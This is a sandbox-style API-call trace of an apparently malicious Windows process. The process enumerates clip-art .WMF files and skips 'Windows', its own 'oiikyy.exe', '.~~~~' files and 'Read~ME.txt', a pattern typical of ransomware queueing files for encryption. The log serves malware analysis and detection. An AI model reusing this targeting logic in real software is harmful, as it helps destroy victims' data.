	[0083.237] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6849b000, ftCreationTime.dwHighDateTime=0x1bd0318, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6849b000, ftLastWriteTime.dwHighDateTime=0x1bd0318, nFileSizeHigh=0x0, nFileSizeLow=0xd16, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOAT.WMF", cAlternateFileName="")) returned 1
	[0083.237] lstrcmpiW (lpString1="BOAT.WMF", lpString2="Windows") returned -1
	[0083.238] lstrcmpW (lpString1="BOAT.WMF", lpString2="oiikyy.exe") returned -1
	[0083.238] StrStrW (lpFirst="BOAT.WMF", lpSrch=".~~~~") returned 0x0
	[0083.238] lstrcmpW (lpString1="BOAT.WMF", lpString2="Read~ME.txt") returned -1
	[0083.238] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x80) returned 0x39fe28
	[0083.238] GetCurrentThreadId () returned 0x618
	[0083.238] RtlWakeConditionVariable () returned 0x365f48
	[0083.238] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ce30000, ftCreationTime.dwHighDateTime=0x1bd78be, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ce30000, ftLastWriteTime.dwHighDateTime=0x1bd78be, nFileSizeHigh=0x0, nFileSizeLow=0x714c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOATINST.WMF", cAlternateFileName="")) returned 1
	[0083.238] lstrcmpiW (lpString1="BOATINST.WMF", lpString2="Windows") returned -1
	[0083.238] lstrcmpW (lpString1="BOATINST.WMF", lpString2="oiikyy.exe") returned -1
	[0083.238] StrStrW (lpFirst="BOATINST.WMF", lpSrch=".~~~~") returned 0x0
	[0083.238] lstrcmpW (lpString1="BOATINST.WMF", lpString2="Read~ME.txt") returned -1
	[0083.238] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.238] GetCurrentThreadId () returned 0x618
	[0083.238] RtlWakeConditionVariable () returned 0x365f48
	[0083.238] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77641800, ftCreationTime.dwHighDateTime=0x1bd4b2a, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77641800, ftLastWriteTime.dwHighDateTime=0x1bd4b2a, nFileSizeHigh=0x0, nFileSizeLow=0x532, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00076_.WMF", cAlternateFileName="")) returned 1
	[0083.238] lstrcmpiW (lpString1="BS00076_.WMF", lpString2="Windows") returned -1
	[0083.238] lstrcmpW (lpString1="BS00076_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.238] StrStrW (lpFirst="BS00076_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.238] lstrcmpW (lpString1="BS00076_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.238] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.238] GetCurrentThreadId () returned 0x618
	[0083.238] RtlWakeConditionVariable () returned 0x365f48
	[0083.238] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfadcd00, ftCreationTime.dwHighDateTime=0x1bd4b2a, ftLastAccessTime.dwLowDateTime=0x600889f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfadcd00, ftLastWriteTime.dwHighDateTime=0x1bd4b2a, nFileSizeHigh=0x0, nFileSizeLow=0x5a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00078_.WMF", cAlternateFileName="")) returned 1
	[0083.239] lstrcmpiW (lpString1="BS00078_.WMF", lpString2="Windows") returned -1
	[0083.239] lstrcmpW (lpString1="BS00078_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.239] StrStrW (lpFirst="BS00078_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.239] lstrcmpW (lpString1="BS00078_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.239] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.239] GetCurrentThreadId () returned 0x618
	[0083.239] RtlWakeConditionVariable () returned 0x365f48
	[0083.239] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6395c300, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x600889f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6395c300, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x1f26, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00092_.WMF", cAlternateFileName="")) returned 1
	[0083.239] lstrcmpiW (lpString1="BS00092_.WMF", lpString2="Windows") returned -1
	[0083.239] lstrcmpW (lpString1="BS00092_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.239] StrStrW (lpFirst="BS00092_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.239] lstrcmpW (lpString1="BS00092_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.239] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.239] GetCurrentThreadId () returned 0x618
	[0083.239] RtlWakeConditionVariable () returned 0x365f48
	[0083.239] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x60023c00, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60023c00, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x94a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00100_.WMF", cAlternateFileName="")) returned 1
	[0083.239] lstrcmpiW (lpString1="BS00100_.WMF", lpString2="Windows") returned -1
	[0083.239] lstrcmpW (lpString1="BS00100_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.239] StrStrW (lpFirst="BS00100_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.239] lstrcmpW (lpString1="BS00100_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.239] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.239] GetCurrentThreadId () returned 0x618
	[0083.239] RtlWakeConditionVariable () returned 0x365f48
	[0083.239] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c6eb500, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5c6eb500, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x414, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00135_.WMF", cAlternateFileName="")) returned 1
	[0083.240] lstrcmpiW (lpString1="BS00135_.WMF", lpString2="Windows") returned -1
	[0083.240] lstrcmpW (lpString1="BS00135_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.240] StrStrW (lpFirst="BS00135_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.240] lstrcmpW (lpString1="BS00135_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.240] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.240] GetCurrentThreadId () returned 0x618
	[0083.240] RtlWakeConditionVariable () returned 0x365f48
	[0083.240] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5295200, ftCreationTime.dwHighDateTime=0x1bd4b23, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc5295200, ftLastWriteTime.dwHighDateTime=0x1bd4b23, nFileSizeHigh=0x0, nFileSizeLow=0x876, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00136_.WMF", cAlternateFileName="")) returned 1
	[0083.240] lstrcmpiW (lpString1="BS00136_.WMF", lpString2="Windows") returned -1
	[0083.240] lstrcmpW (lpString1="BS00136_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.240] StrStrW (lpFirst="BS00136_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.240] lstrcmpW (lpString1="BS00136_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.240] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.240] GetCurrentThreadId () returned 0x618
	[0083.240] RtlWakeConditionVariable () returned 0x365f48
	[0083.240] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd99a2a00, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd99a2a00, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x6b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00145_.WMF", cAlternateFileName="")) returned 1
	[0083.240] lstrcmpiW (lpString1="BS00145_.WMF", lpString2="Windows") returned -1
	[0083.240] lstrcmpW (lpString1="BS00145_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.240] StrStrW (lpFirst="BS00145_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.240] lstrcmpW (lpString1="BS00145_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.240] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.240] GetCurrentThreadId () returned 0x618
	[0083.240] RtlWakeConditionVariable () returned 0x365f48
	[0083.241] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ca47100, ftCreationTime.dwHighDateTime=0x1bd4af0, ftLastAccessTime.dwLowDateTime=0x600889f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7ca47100, ftLastWriteTime.dwHighDateTime=0x1bd4af0, nFileSizeHigh=0x0, nFileSizeLow=0x20ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00174_.WMF", cAlternateFileName="")) returned 1
	[0083.241] lstrcmpiW (lpString1="BS00174_.WMF", lpString2="Windows") returned -1
	[0083.241] lstrcmpW (lpString1="BS00174_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.241] StrStrW (lpFirst="BS00174_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.241] lstrcmpW (lpString1="BS00174_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.241] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.241] GetCurrentThreadId () returned 0x618
	[0083.241] RtlWakeConditionVariable () returned 0x365f48
	[0083.241] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f738600, ftCreationTime.dwHighDateTime=0x1bd4b31, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7f738600, ftLastWriteTime.dwHighDateTime=0x1bd4b31, nFileSizeHigh=0x0, nFileSizeLow=0x1370, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00184_.WMF", cAlternateFileName="")) returned 1
	[0083.241] lstrcmpiW (lpString1="BS00184_.WMF", lpString2="Windows") returned -1
	[0083.241] lstrcmpW (lpString1="BS00184_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.241] StrStrW (lpFirst="BS00184_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.241] lstrcmpW (lpString1="BS00184_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.241] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.241] GetCurrentThreadId () returned 0x618
	[0083.241] RtlWakeConditionVariable () returned 0x365f48
	[0083.241] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c60b600, ftCreationTime.dwHighDateTime=0x1bd4b31, ftLastAccessTime.dwLowDateTime=0x600889f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c60b600, ftLastWriteTime.dwHighDateTime=0x1bd4b31, nFileSizeHigh=0x0, nFileSizeLow=0x31f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00186_.WMF", cAlternateFileName="")) returned 1
	[0083.241] lstrcmpiW (lpString1="BS00186_.WMF", lpString2="Windows") returned -1
	[0083.241] lstrcmpW (lpString1="BS00186_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.241] StrStrW (lpFirst="BS00186_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.241] lstrcmpW (lpString1="BS00186_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.241] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.241] GetCurrentThreadId () returned 0x618
	[0083.241] RtlWakeConditionVariable () returned 0x365f48
	[0083.242] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9efd600, ftCreationTime.dwHighDateTime=0x1bd4b30, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9efd600, ftLastWriteTime.dwHighDateTime=0x1bd4b30, nFileSizeHigh=0x0, nFileSizeLow=0xc20, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00200_.WMF", cAlternateFileName="")) returned 1
	[0083.242] lstrcmpiW (lpString1="BS00200_.WMF", lpString2="Windows") returned -1
	[0083.242] lstrcmpW (lpString1="BS00200_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.242] StrStrW (lpFirst="BS00200_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.242] lstrcmpW (lpString1="BS00200_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.242] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.242] GetCurrentThreadId () returned 0x618
	[0083.242] RtlWakeConditionVariable () returned 0x365f48
	[0083.242] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54fadc00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x600889f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54fadc00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x634, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00224_.WMF", cAlternateFileName="")) returned 1
	[0083.242] lstrcmpiW (lpString1="BS00224_.WMF", lpString2="Windows") returned -1
	[0083.242] lstrcmpW (lpString1="BS00224_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.242] StrStrW (lpFirst="BS00224_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.242] lstrcmpW (lpString1="BS00224_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.242] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.242] GetCurrentThreadId () returned 0x618
	[0083.242] RtlWakeConditionVariable () returned 0x365f48
	[0083.242] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62c55700, ftCreationTime.dwHighDateTime=0x1bd4b0d, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x62c55700, ftLastWriteTime.dwHighDateTime=0x1bd4b0d, nFileSizeHigh=0x0, nFileSizeLow=0x4bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00438_.WMF", cAlternateFileName="")) returned 1
	[0083.242] lstrcmpiW (lpString1="BS00438_.WMF", lpString2="Windows") returned -1
	[0083.242] lstrcmpW (lpString1="BS00438_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.242] StrStrW (lpFirst="BS00438_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.242] lstrcmpW (lpString1="BS00438_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.242] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.242] GetCurrentThreadId () returned 0x618
	[0083.242] RtlWakeConditionVariable () returned 0x365f48
	[0083.243] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x276b5e00, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x276b5e00, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0x804, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00439_.WMF", cAlternateFileName="")) returned 1
	[0083.243] lstrcmpiW (lpString1="BS00439_.WMF", lpString2="Windows") returned -1
	[0083.243] lstrcmpW (lpString1="BS00439_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.243] StrStrW (lpFirst="BS00439_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.243] lstrcmpW (lpString1="BS00439_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.243] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.243] GetCurrentThreadId () returned 0x618
	[0083.243] RtlWakeConditionVariable () returned 0x365f48
	[0083.243] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x263a3100, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x263a3100, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0x15cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00440_.WMF", cAlternateFileName="")) returned 1
	[0083.243] lstrcmpiW (lpString1="BS00440_.WMF", lpString2="Windows") returned -1
	[0083.243] lstrcmpW (lpString1="BS00440_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.243] StrStrW (lpFirst="BS00440_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.243] lstrcmpW (lpString1="BS00440_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.243] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.243] GetCurrentThreadId () returned 0x618
	[0083.243] RtlWakeConditionVariable () returned 0x365f48
	[0083.243] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25090400, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x25090400, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0xdc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00441_.WMF", cAlternateFileName="")) returned 1
	[0083.243] lstrcmpiW (lpString1="BS00441_.WMF", lpString2="Windows") returned -1
	[0083.243] lstrcmpW (lpString1="BS00441_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.243] StrStrW (lpFirst="BS00441_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.243] lstrcmpW (lpString1="BS00441_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.244] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.244] GetCurrentThreadId () returned 0x618
	[0083.244] RtlWakeConditionVariable () returned 0x365f48
	[0083.244] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23d7d700, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x23d7d700, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0x9b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00442_.WMF", cAlternateFileName="")) returned 1
	[0083.244] lstrcmpiW (lpString1="BS00442_.WMF", lpString2="Windows") returned -1
	[0083.244] lstrcmpW (lpString1="BS00442_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.244] StrStrW (lpFirst="BS00442_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.244] lstrcmpW (lpString1="BS00442_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.244] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.244] GetCurrentThreadId () returned 0x618
	[0083.244] RtlWakeConditionVariable () returned 0x365f48
	[0083.244] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb7ffa00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbb7ffa00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x68c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00443_.WMF", cAlternateFileName="")) returned 1
	[0083.244] lstrcmpiW (lpString1="BS00443_.WMF", lpString2="Windows") returned -1
	[0083.244] lstrcmpW (lpString1="BS00443_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.244] StrStrW (lpFirst="BS00443_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.244] lstrcmpW (lpString1="BS00443_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.244] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.244] GetCurrentThreadId () returned 0x618
	[0083.244] RtlWakeConditionVariable () returned 0x365f48
	[0083.244] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22a6aa00, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22a6aa00, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0xf38, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00444_.WMF", cAlternateFileName="")) returned 1
	[0083.244] lstrcmpiW (lpString1="BS00444_.WMF", lpString2="Windows") returned -1
	[0083.244] lstrcmpW (lpString1="BS00444_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.244] StrStrW (lpFirst="BS00444_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.245] lstrcmpW (lpString1="BS00444_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.245] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.245] GetCurrentThreadId () returned 0x618
	[0083.245] RtlWakeConditionVariable () returned 0x365f48
	[0083.245] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21757d00, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21757d00, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0xed4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00445_.WMF", cAlternateFileName="")) returned 1
	[0083.245] lstrcmpiW (lpString1="BS00445_.WMF", lpString2="Windows") returned -1
	[0083.245] lstrcmpW (lpString1="BS00445_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.245] StrStrW (lpFirst="BS00445_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.245] lstrcmpW (lpString1="BS00445_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.245] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.245] GetCurrentThreadId () returned 0x618
	[0083.245] RtlWakeConditionVariable () returned 0x365f48
	[0083.245] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00453_.WMF", cAlternateFileName="")) returned 1
	[0083.245] lstrcmpiW (lpString1="BS00453_.WMF", lpString2="Windows") returned -1
	[0083.245] lstrcmpW (lpString1="BS00453_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.245] StrStrW (lpFirst="BS00453_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.245] lstrcmpW (lpString1="BS00453_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.245] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.245] GetCurrentThreadId () returned 0x618
	[0083.245] RtlWakeConditionVariable () returned 0x365f48
	[0083.245] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ba86700, ftCreationTime.dwHighDateTime=0x1bd4bea, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4ba86700, ftLastWriteTime.dwHighDateTime=0x1bd4bea, nFileSizeHigh=0x0, nFileSizeLow=0xaac, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS01080_.WMF", cAlternateFileName="")) returned 1
	[0083.245] lstrcmpiW (lpString1="BS01080_.WMF", lpString2="Windows") returned -1
	[0083.245] lstrcmpW (lpString1="BS01080_.WMF", lpString2="oiikyy.exe") returned -1
	[0083.245] StrStrW (lpFirst="BS01080_.WMF", lpSrch=".~~~~") returned 0x0
	[0083.246] lstrcmpW (lpString1="BS01080_.WMF", lpString2="Read~ME.txt") returned -1
	[0083.246] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.246] GetCurrentThreadId () returned 0x618
	[0083.246] RtlWakeConditionVariable () returned 0x365f48
